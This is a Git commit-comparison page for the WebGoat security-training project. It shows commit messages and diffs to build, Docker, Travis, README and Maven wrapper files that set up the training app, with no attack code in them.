Compare commits

..

77 Commits

Author SHA1 Message Date
7b8e3cdb52 Merge branch 'release/v8.0.0.M22' 2019-01-18 08:38:10 +01:00
9be4361afc New release, updating pom.xml 2019-01-18 08:37:26 +01:00
b0e3a06b50 Password reset lesson 5 not working #512
Added comment to not use OWASP ZAP
2019-01-17 16:35:04 +01:00
9170dcb87f Fix a grammatical error 2019-01-17 14:50:07 +01:00
dc5f9880af Full implementation of "Update Webgoat Dockerfile to use entrypoints and commands #523" based on the pull request of Nicklaus McClendon 2019-01-17 14:49:42 +01:00
ed490a5ecf Fix for #545
Introduced new macro to make a clear distinction between /WebWolf with
context root and without.
2019-01-16 11:07:30 +01:00
81d6e12ae1 Spring devtools no longer work in combination with Spring and Java 11 2019-01-15 16:29:49 +01:00
c3ee0b7662 Travis build should also use Java 11 2019-01-15 16:24:39 +01:00
959a3c6420 Docker images should use new jar version notation 2019-01-15 16:23:21 +01:00
3fa10c4b10 Update to Java 11 2019-01-15 16:23:03 +01:00
ec225558b9 Move to latest Spring Boot version and move to Java 11 2018-12-15 13:59:54 +01:00
dd1009bc54 Add Maven wrapper 2018-12-14 12:56:21 +01:00
bf45a0a8e5 Fix for XXE docs 2018-12-14 12:43:19 +01:00
f81a6852db YAML structure fix, postgres version fix
The structure of the environment was incorrect. The postgres dialect doesn't match the postgres:latest image.
2018-11-19 08:16:49 +01:00
6699456ee1 Bug fix in sample code 2018-11-19 08:15:41 +01:00
ecbbb5258e encapsulated the WEBGOAT_HOME in quotes
Encapsulating the `WEBGOAT_HOME` variable in quotes allows for spaces to exist in the path
2018-11-19 08:14:29 +01:00
1520c7571f HTML Tampering Mitigation Description Typo 2018-11-19 08:13:17 +01:00
5921a06747 Fix SQL injection mitigation answer (fixes #505)
You need to submit the IP of the webgoat-prd server, not just any of the IPs.
2018-11-19 08:12:17 +01:00
b6e4995d11 Fixed Vagrant file
- Added correct wget urls for .jar files
- changed server address to 0.0.0.0(pointing to all interfaces) because by default it listens for connections on VM's localhost only but we want to access webgoat on NAT adapter via port forwarding
2018-11-19 08:10:11 +01:00
a2f28460c0 Update password_reset.html
Without this attribute it is impossible to pass the lesson "password-reset" `Email functionality with WebWolf`.
2018-11-19 08:08:41 +01:00
0797c3e2bf Merge pull request #519 from pingiun/patch-1
Fix typo
2018-09-13 08:16:11 -07:00
f9a4061604 Fix typo 2018-09-12 09:54:44 +02:00
580e50f558 Same form post is used and with autocomplete this does not work because all fields will be posted. The endpoint could no long distinguish between the different actions (sending e-mail and checking password) 2018-08-10 13:15:40 +02:00
3d58049af6 docker-compose-local.yml now extends docker-compose.yml
WebWolf waits for 8 seconds after WebGoat starts so the database connection can be established
2018-08-08 18:26:12 +02:00
bca8b3c650 Fix buildscripts to wait for Docker and build snapshots 2018-08-08 18:23:27 +02:00
1252e3dc21 Update instructions to use docker-compose only 2018-07-17 20:17:35 +02:00
63a50df7a1 Add hint to lesson users no longer have guess the complete ip address 2018-07-06 18:22:29 +02:00
f9e552f1cd Add instructions how to run WebGoat on Java 9 or higher 2018-07-04 19:15:54 +02:00
2233550fe1 Adding more solutions for SQL order by lesson 2018-06-22 14:12:37 +02:00
cb18295f9f Update hint 2018-06-21 07:53:21 +02:00
651698d96c Add different solution for XXE attack 2018-06-21 07:17:27 +02:00
4d7d0058c3 Update how to create a release document 2018-06-20 18:38:16 +02:00
e3fba396de Merge tag 'v8.0.0.M21' into develop 2018-06-20 18:24:06 +02:00
3536fd0b6d Merge branch 'release/v8.0.0.M21' 2018-06-20 18:23:59 +02:00
bc84e8f207 Build release when tag is set 2018-06-20 18:22:35 +02:00
14dbd47675 Merge tag 'v8.0.0.M20' into develop
New release M20
2018-06-20 18:06:26 +02:00
898dd90c6f Merge branch 'release/v8.0.0.M20' 2018-06-20 18:06:17 +02:00
ac12a009e4 New release v8.0.0.M20 2018-06-20 18:05:59 +02:00
699b1bfd89 Only do releases and Docker updates when building master 2018-06-20 18:05:06 +02:00
ad77a7ab24 Merge tag 'v8.0.0.M19' into develop
New release M19
2018-06-20 16:40:44 +02:00
b7278590f5 Merge branch 'release/v8.0.0.M19' 2018-06-20 16:40:33 +02:00
9dd93d88d9 New release v8.0.0.M19 2018-06-20 16:40:28 +02:00
4c767cb977 Merge tag 'v8.0.0.M18' into develop
New release
2018-06-20 16:32:44 +02:00
12123ef13b Merge branch 'release/v8.0.0.M18' 2018-06-20 16:32:31 +02:00
c7da546249 Improve text for lesson about CSRF login 2018-06-16 17:52:18 +02:00
a41ff0083c Merge pull request #479 from misfir3/develop
Recent updates, including Missing Function AC content & patch for Vuln Components Lesson
2018-06-13 18:44:09 -06:00
701a99cf8f Merge pull request #487 from matthias-g/xssFixes
Small lesson improvements
2018-06-13 18:42:14 -06:00
844808bfa7 Merge pull request #485 from matthias-g/fixSQLInjection
Fix sql injection
2018-06-13 18:41:05 -06:00
81aac93dfe Usage base64 encoded password as expected by JJWT 2018-06-13 17:58:52 +02:00
e5ec2c1ee0 Fix html attribute 2018-06-13 17:56:57 +02:00
b0fbeaff2c This improves the text of the lesson about XSS 2018-06-13 17:56:23 +02:00
b47bb96534 Update changed password in tests 2018-06-13 16:11:28 +02:00
3b9b695ef1 Check host header instead of origin which might not be present #475 2018-06-13 11:38:33 +02:00
1d2575a211 Allow - in usernames because CSRF lesson requires username starting with prefix crsf- #476 2018-06-13 11:38:33 +02:00
56fc983414 Update database layout so that proposed solution works 2018-06-12 17:40:28 +02:00
268adbcf7e Move assignments to correct package so that hints are shown 2018-06-12 17:40:28 +02:00
f383454440 Fix spelling in JWT lesson 2018-06-12 11:02:51 +02:00
bae3e75ae2 Fix minor issues in hint view 2018-06-12 11:02:16 +02:00
a7b82985d4 Fix usage of JJWT API which expects base64 encoded strings as key 2018-06-12 11:01:23 +02:00
3d282e163c Show newest comments first
This prevents new comments from not being displayed after a comment containing invalid html has been posted.
2018-06-12 10:54:13 +02:00
7068c84c6a Fix parameter in url and some spelling 2018-06-12 10:54:13 +02:00
0030c7bdfb Merge pull request #480 from matthias-g/fixPageNum
Fix next page button when url doesn't end with page number
2018-06-07 11:27:29 -06:00
89f6a73275 Fix next page button when url doesn't end with page number 2018-06-07 19:07:58 +02:00
cf0e4e40cf clean up 2018-06-05 14:36:40 -06:00
dfd51f8b54 Merge branch 'develop' of github.com:misfir3/WebGoat into develop 2018-06-05 14:10:51 -06:00
5e8c610fbf gke-deploy.sh 2018-06-05 14:10:29 -06:00
71514fc39b GKE deploy script 2018-06-05 09:45:47 -06:00
1734170e9e updates to missing function ac lesson 2018-06-04 16:53:13 -06:00
c89afe6334 Merge remote-tracking branch 'upstream/develop' into develop 2018-06-01 09:54:03 -06:00
e96ab488ff Merge branch 'develop' of github.com:misfir2/WebGoat into develop 2018-05-14 12:17:32 -06:00
31f7ea6985 script to automate WebGoat deployment on GKE 2018-05-14 12:15:48 -06:00
186f24f1df more hintview patching 2018-05-03 10:49:58 -06:00
089dd56a15 wiring jqueryui to vuln jquery #368 2018-05-03 10:49:31 -06:00
6cfefba0ee work-arounds, fixes for page initialization and some clean-up 2018-05-03 10:25:34 -06:00
20e45da8ae cleanup that was missed in prev. commit 2018-05-02 16:36:34 -06:00
e34faa13d6 fix for periodic fail on StoredXssCommentsTest 2018-05-02 16:35:57 -06:00
927bbad488 merging from release branch ... PR's and Nanne's recent work 2018-05-02 14:27:44 -06:00
96 changed files with 889 additions and 420 deletions

7
.gitignore vendored
View File

@ -44,5 +44,10 @@ webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
**/.sts4-cache/* **/.sts4-cache/*
**/.vscode/* **/.vscode/*
**/.factorypath
/.sonatype /.sonatype
**/bin/*
webgoat.lck
webgoat.log
webgoat.properties
webgoat.script

1
.mvn/wrapper/maven-wrapper.properties vendored Normal file
View File

@ -0,0 +1 @@
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip

View File

@ -2,7 +2,7 @@ services:
- docker - docker
language: java language: java
jdk: jdk:
- oraclejdk8 - openjdk11
install: "/bin/true" install: "/bin/true"
script: script:
- export BRANCH=$(if [ "$TRAVIS_PULL_REQUEST" == "false" ]; then echo $TRAVIS_BRANCH; else echo $TRAVIS_PULL_REQUEST_BRANCH; fi) - export BRANCH=$(if [ "$TRAVIS_PULL_REQUEST" == "false" ]; then echo $TRAVIS_BRANCH; else echo $TRAVIS_PULL_REQUEST_BRANCH; fi)
@ -28,12 +28,6 @@ deploy:
on: on:
repo: WebGoat/WebGoat repo: WebGoat/WebGoat
tags: true tags: true
- provider: script
skip_cleanup: true
script: bash scripts/deploy-webgoat.sh
on:
repo: WebGoat/WebGoat
branch: develop
- provider: releases - provider: releases
skip_cleanup: true skip_cleanup: true
overwrite: true overwrite: true

View File

@ -13,17 +13,13 @@ At the moment we use Gitflow, for a release you create a new release branch and
git checkout develop git checkout develop
git flow release start <version> git flow release start <version>
mvn versions:set <<version> mvn versions:set <<version>
git commit -am "New release, updaing pom.xml" git commit -am "New release, updating pom.xml"
git flow release publish git flow release publish
``` git push --tags
Now we can make a new release, be sure you committed all your changes.
```
git tag v8.0.0.M15
git push origin v8.0.0.M15
``` ```
Now Travis takes over and will create the release in Github and on Docker Hub. Now Travis takes over and will create the release in Github and on Docker Hub.
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version

View File

@ -34,55 +34,42 @@ first thing that all hackers claim.*
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```Shell ```Shell
java -jar webgoat-server-<<version>>.jar [--server.port=8080] [--server.address=localhost] java -jar webgoat-server-8.0.0.VERSION.jar [--server.port=8080] [--server.address=localhost]
``` ```
By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you By default WebGoat starts on port 8080 with `--server.port` you can specify a different port. With `server.address` you
can bind it to a different address (default localhost) can bind it to a different address (default localhost)
If you use Java 9 or higher you need to run WebGoat as follows:
```Shell
java --add-modules java.xml.bind -jar webgoat-server-8.0.0.VERSION.jar
```
## 2. Run using Docker ## 2. Run using Docker
From time to time we publish a new development preview of WebGoat 8 on Docker HUB, you can download this version Every release is also published on [DockerHub]((https://hub.docker.com/r/webgoat/webgoat-8.0/)).
[https://hub.docker.com/r/webgoat/webgoat-8.0/](https://hub.docker.com/r/webgoat/webgoat-8.0/).
First install Docker, then open a command shell/window and type:
```Shell ### Using docker-compose
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh The easiest way to start WebGoat as a Docker container is to use the `docker-compose.yml` [file](https://raw.githubusercontent.com/WebGoat/WebGoat/develop/docker-compose.yml)
from our Github repository. This will start both containers and it also takes care of setting up the
connection between WebGoat and WebWolf.
```shell
curl https://raw.githubusercontent.com/WebGoat/WebGoat/develop/docker-compose.yml | docker-compose -f - up
``` ```
If you want to keep the database between Docker sessions you need to map the WebGoat data directory to a **Important**: the current directory on your host will be mapped into the container for keeping state.
folder on the host system as follows:
```Shell
docker run -p 8080:8080 -it -v /tmp/webgoat-data:/home/webgoat/.webgoat-${VERSION} webgoat/webgoat-8.0 /home/webgoat/start.sh
```
where `${VERSION}` is for example `v8.0.0.M14`. The data will now be stored in `/tmp/webgoat-data` on your host system.
Wait for the Docker container to start, and run `docker ps` to verify it's running.
- If you are using `docker-machine`, verify the machine IP using `docker-machine env`
- If you are using `boot2docker` on OSX, verify the IP by running `docker network inspect bridge`
- Otherwise, the host will be bound to localhost
Once you have the IP and port, you'll want to navigate to the `/WebGoat` path in the URL. For example:
```
http://192.168.99.100:8080/WebGoat
```
Here you'll be able to register a new user and get started.
_Please note: this version may not be completely in sync with the develop branch._
Using the `docker-compose` file will simplify getting WebGoat and WebWolf up and running.
## 3. Run from the sources ## 3. Run from the sources
### Prerequisites: ### Prerequisites:
* Java 8 * Java 11
* Maven > 3.2.1 * Maven > 3.2.1
* Your favorite IDE * Your favorite IDE
* Git, or Git support in your IDE * Git, or Git support in your IDE
@ -117,7 +104,7 @@ server.address=x.x.x.x
# Vagrant # Vagrant
We supply a complete development environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed. We supply a complete environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
```shell ```shell
$ cd WebGoat/webgoat-images/vagrant-training $ cd WebGoat/webgoat-images/vagrant-training
@ -125,7 +112,7 @@ We supply a complete development environment using Vagrant, to run WebGoat with
``` ```
Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant. Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
The source code will be available in the home directory. WebGoat and WebWolf will automatically start when you login to this image.
# Building a new Docker image # Building a new Docker image

13
docker-compose-local.yml Normal file
View File

@ -0,0 +1,13 @@
version: '2.1'
services:
webgoat:
image: webgoat/webgoat-v8.0.0.snapshot
extends:
file: docker-compose.yml
service: webgoat
webwolf:
extends:
file: docker-compose.yml
service: webwolf
image: webgoat/webwolf-v8.0.0.snapshot

View File

@ -12,6 +12,8 @@ services:
- spring.datasource.password=webgoat - spring.datasource.password=webgoat
- spring.datasource.driver-class-name=org.postgresql.Driver - spring.datasource.driver-class-name=org.postgresql.Driver
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
- webgoat.server.directory=/home/webgoat/.webgoat/
- webgoat.user.directory=/home/webgoat/.webgoat/
ports: ports:
- "8080:8080" - "8080:8080"
webwolf: webwolf:
@ -24,9 +26,11 @@ services:
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
ports: ports:
- "9090:9090" - "9090:9090"
db: webgoat_db:
container_name: webgoat_db image: postgres:9.4
image: postgres:latest # Uncomment to store the state of the database on the host.
# volumes:
# - ./database:/var/lib/postgresql
environment: environment:
- POSTGRES_PASSWORD=webgoat - POSTGRES_PASSWORD=webgoat
- POSTGRES_USER=webgoat - POSTGRES_USER=webgoat

View File

@ -6,24 +6,13 @@ services:
environment: environment:
- WEBWOLF_HOST=webwolf - WEBWOLF_HOST=webwolf
- WEBWOLF_PORT=9090 - WEBWOLF_PORT=9090
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports: ports:
- "8080:8080" - "8080:8080"
depends_on: - "9001:9001"
- db volumes:
- .:/home/webgoat/.webgoat
webwolf: webwolf:
image: webgoat/webwolf image: webgoat/webwolf
environment:
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports: ports:
- "9090:9090" - "9090:9090"
depends_on: command: --spring.datasource.url=jdbc:hsqldb:hsql://webgoat:9001/webgoat --server.address=0.0.0.0
- db
db:
image: blacklabelops/hsqldb
container_name: webgoat_db
environment:
- HSQLDB_TRACE=false
- HSQLDB_SILENT=true
- HSQLDB_DATABASE_NAME=webgoat
- HSQLDB_DATABASE_ALIAS=webgoat

286
mvnw vendored Executable file
View File

@ -0,0 +1,286 @@
#!/bin/sh
# ----------------------------------------------------------------------------
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# ----------------------------------------------------------------------------
# ----------------------------------------------------------------------------
# Maven2 Start Up Batch script
#
# Required ENV vars:
# ------------------
# JAVA_HOME - location of a JDK home dir
#
# Optional ENV vars
# -----------------
# M2_HOME - location of maven2's installed home dir
# MAVEN_OPTS - parameters passed to the Java VM when running Maven
# e.g. to debug Maven itself, use
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
# ----------------------------------------------------------------------------
if [ -z "$MAVEN_SKIP_RC" ] ; then
if [ -f /etc/mavenrc ] ; then
. /etc/mavenrc
fi
if [ -f "$HOME/.mavenrc" ] ; then
. "$HOME/.mavenrc"
fi
fi
# OS specific support. $var _must_ be set to either true or false.
cygwin=false;
darwin=false;
mingw=false
case "`uname`" in
CYGWIN*) cygwin=true ;;
MINGW*) mingw=true;;
Darwin*) darwin=true
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html
if [ -z "$JAVA_HOME" ]; then
if [ -x "/usr/libexec/java_home" ]; then
export JAVA_HOME="`/usr/libexec/java_home`"
else
export JAVA_HOME="/Library/Java/Home"
fi
fi
;;
esac
if [ -z "$JAVA_HOME" ] ; then
if [ -r /etc/gentoo-release ] ; then
JAVA_HOME=`java-config --jre-home`
fi
fi
if [ -z "$M2_HOME" ] ; then
## resolve links - $0 may be a link to maven's home
PRG="$0"
# need this for relative symlinks
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG="`dirname "$PRG"`/$link"
fi
done
saveddir=`pwd`
M2_HOME=`dirname "$PRG"`/..
# make it fully qualified
M2_HOME=`cd "$M2_HOME" && pwd`
cd "$saveddir"
# echo Using m2 at $M2_HOME
fi
# For Cygwin, ensure paths are in UNIX format before anything is touched
if $cygwin ; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --unix "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
fi
# For Mingw, ensure paths are in UNIX format before anything is touched
if $mingw ; then
[ -n "$M2_HOME" ] &&
M2_HOME="`(cd "$M2_HOME"; pwd)`"
[ -n "$JAVA_HOME" ] &&
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
# TODO classpath?
fi
if [ -z "$JAVA_HOME" ]; then
javaExecutable="`which javac`"
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
# readlink(1) is not available as standard on Solaris 10.
readLink=`which readlink`
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
if $darwin ; then
javaHome="`dirname \"$javaExecutable\"`"
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
else
javaExecutable="`readlink -f \"$javaExecutable\"`"
fi
javaHome="`dirname \"$javaExecutable\"`"
javaHome=`expr "$javaHome" : '\(.*\)/bin'`
JAVA_HOME="$javaHome"
export JAVA_HOME
fi
fi
fi
if [ -z "$JAVACMD" ] ; then
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
else
JAVACMD="`which java`"
fi
fi
if [ ! -x "$JAVACMD" ] ; then
echo "Error: JAVA_HOME is not defined correctly." >&2
echo " We cannot execute $JAVACMD" >&2
exit 1
fi
if [ -z "$JAVA_HOME" ] ; then
echo "Warning: JAVA_HOME environment variable is not set."
fi
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
# traverses directory structure from process work directory to filesystem root
# first directory with .mvn subdirectory is considered project base directory
find_maven_basedir() {
if [ -z "$1" ]
then
echo "Path not specified to find_maven_basedir"
return 1
fi
basedir="$1"
wdir="$1"
while [ "$wdir" != '/' ] ; do
if [ -d "$wdir"/.mvn ] ; then
basedir=$wdir
break
fi
# workaround for JBEAP-8937 (on Solaris 10/Sparc)
if [ -d "${wdir}" ]; then
wdir=`cd "$wdir/.."; pwd`
fi
# end of workaround
done
echo "${basedir}"
}
# concatenates all lines of a file
concat_lines() {
if [ -f "$1" ]; then
echo "$(tr -s '\n' ' ' < "$1")"
fi
}
BASE_DIR=`find_maven_basedir "$(pwd)"`
if [ -z "$BASE_DIR" ]; then
exit 1;
fi
##########################################################################################
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
# This allows using the maven wrapper in projects that prohibit checking in binary data.
##########################################################################################
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found .mvn/wrapper/maven-wrapper.jar"
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
fi
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
while IFS="=" read key value; do
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
esac
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
if [ "$MVNW_VERBOSE" = true ]; then
echo "Downloading from: $jarUrl"
fi
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
if command -v wget > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found wget ... using wget"
fi
wget "$jarUrl" -O "$wrapperJarPath"
elif command -v curl > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found curl ... using curl"
fi
curl -o "$wrapperJarPath" "$jarUrl"
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download"
fi
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
if [ -e "$javaClass" ]; then
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Compiling MavenWrapperDownloader.java ..."
fi
# Compiling the Java class
("$JAVA_HOME/bin/javac" "$javaClass")
fi
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
# Running the downloader
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Running MavenWrapperDownloader.java ..."
fi
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
fi
fi
fi
fi
##########################################################################################
# End of extension
##########################################################################################
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
if [ "$MVNW_VERBOSE" = true ]; then
echo $MAVEN_PROJECTBASEDIR
fi
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
# For Cygwin, switch paths to Windows format before running java
if $cygwin; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --path --windows "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
[ -n "$MAVEN_PROJECTBASEDIR" ] &&
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
fi
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
exec "$JAVACMD" \
$MAVEN_OPTS \
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
"-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"

161
mvnw.cmd vendored Normal file
View File

@ -0,0 +1,161 @@
@REM ----------------------------------------------------------------------------
@REM Licensed to the Apache Software Foundation (ASF) under one
@REM or more contributor license agreements. See the NOTICE file
@REM distributed with this work for additional information
@REM regarding copyright ownership. The ASF licenses this file
@REM to you under the Apache License, Version 2.0 (the
@REM "License"); you may not use this file except in compliance
@REM with the License. You may obtain a copy of the License at
@REM
@REM http://www.apache.org/licenses/LICENSE-2.0
@REM
@REM Unless required by applicable law or agreed to in writing,
@REM software distributed under the License is distributed on an
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
@REM KIND, either express or implied. See the License for the
@REM specific language governing permissions and limitations
@REM under the License.
@REM ----------------------------------------------------------------------------
@REM ----------------------------------------------------------------------------
@REM Maven2 Start Up Batch script
@REM
@REM Required ENV vars:
@REM JAVA_HOME - location of a JDK home dir
@REM
@REM Optional ENV vars
@REM M2_HOME - location of maven2's installed home dir
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
@REM e.g. to debug Maven itself, use
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
@REM ----------------------------------------------------------------------------
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
@echo off
@REM set title of command window
title %0
@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
@REM set %HOME% to equivalent of $HOME
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
@REM Execute a user defined script before this one
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
@REM check for pre script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
:skipRcPre
@setlocal
set ERROR_CODE=0
@REM To isolate internal variables from possible post scripts, we use another setlocal
@setlocal
@REM ==== START VALIDATION ====
if not "%JAVA_HOME%" == "" goto OkJHome
echo.
echo Error: JAVA_HOME not found in your environment. >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
:OkJHome
if exist "%JAVA_HOME%\bin\java.exe" goto init
echo.
echo Error: JAVA_HOME is set to an invalid directory. >&2
echo JAVA_HOME = "%JAVA_HOME%" >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
@REM ==== END VALIDATION ====
:init
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
@REM Fallback to current working directory if not found.
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
set EXEC_DIR=%CD%
set WDIR=%EXEC_DIR%
:findBaseDir
IF EXIST "%WDIR%"\.mvn goto baseDirFound
cd ..
IF "%WDIR%"=="%CD%" goto baseDirNotFound
set WDIR=%CD%
goto findBaseDir
:baseDirFound
set MAVEN_PROJECTBASEDIR=%WDIR%
cd "%EXEC_DIR%"
goto endDetectBaseDir
:baseDirNotFound
set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
cd "%EXEC_DIR%"
:endDetectBaseDir
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
@setlocal EnableExtensions EnableDelayedExpansion
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
:endReadAdditionalConfig
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar"
FOR /F "tokens=1,2 delims==" %%A IN (%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties) DO (
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
)
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
if exist %WRAPPER_JAR% (
echo Found %WRAPPER_JAR%
) else (
echo Couldn't find %WRAPPER_JAR%, downloading it ...
echo Downloading from: %DOWNLOAD_URL%
powershell -Command "(New-Object Net.WebClient).DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"
echo Finished downloading %WRAPPER_JAR%
)
@REM End of extension
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
if ERRORLEVEL 1 goto error
goto end
:error
set ERROR_CODE=1
:end
@endlocal & set ERROR_CODE=%ERROR_CODE%
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
@REM check for post script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
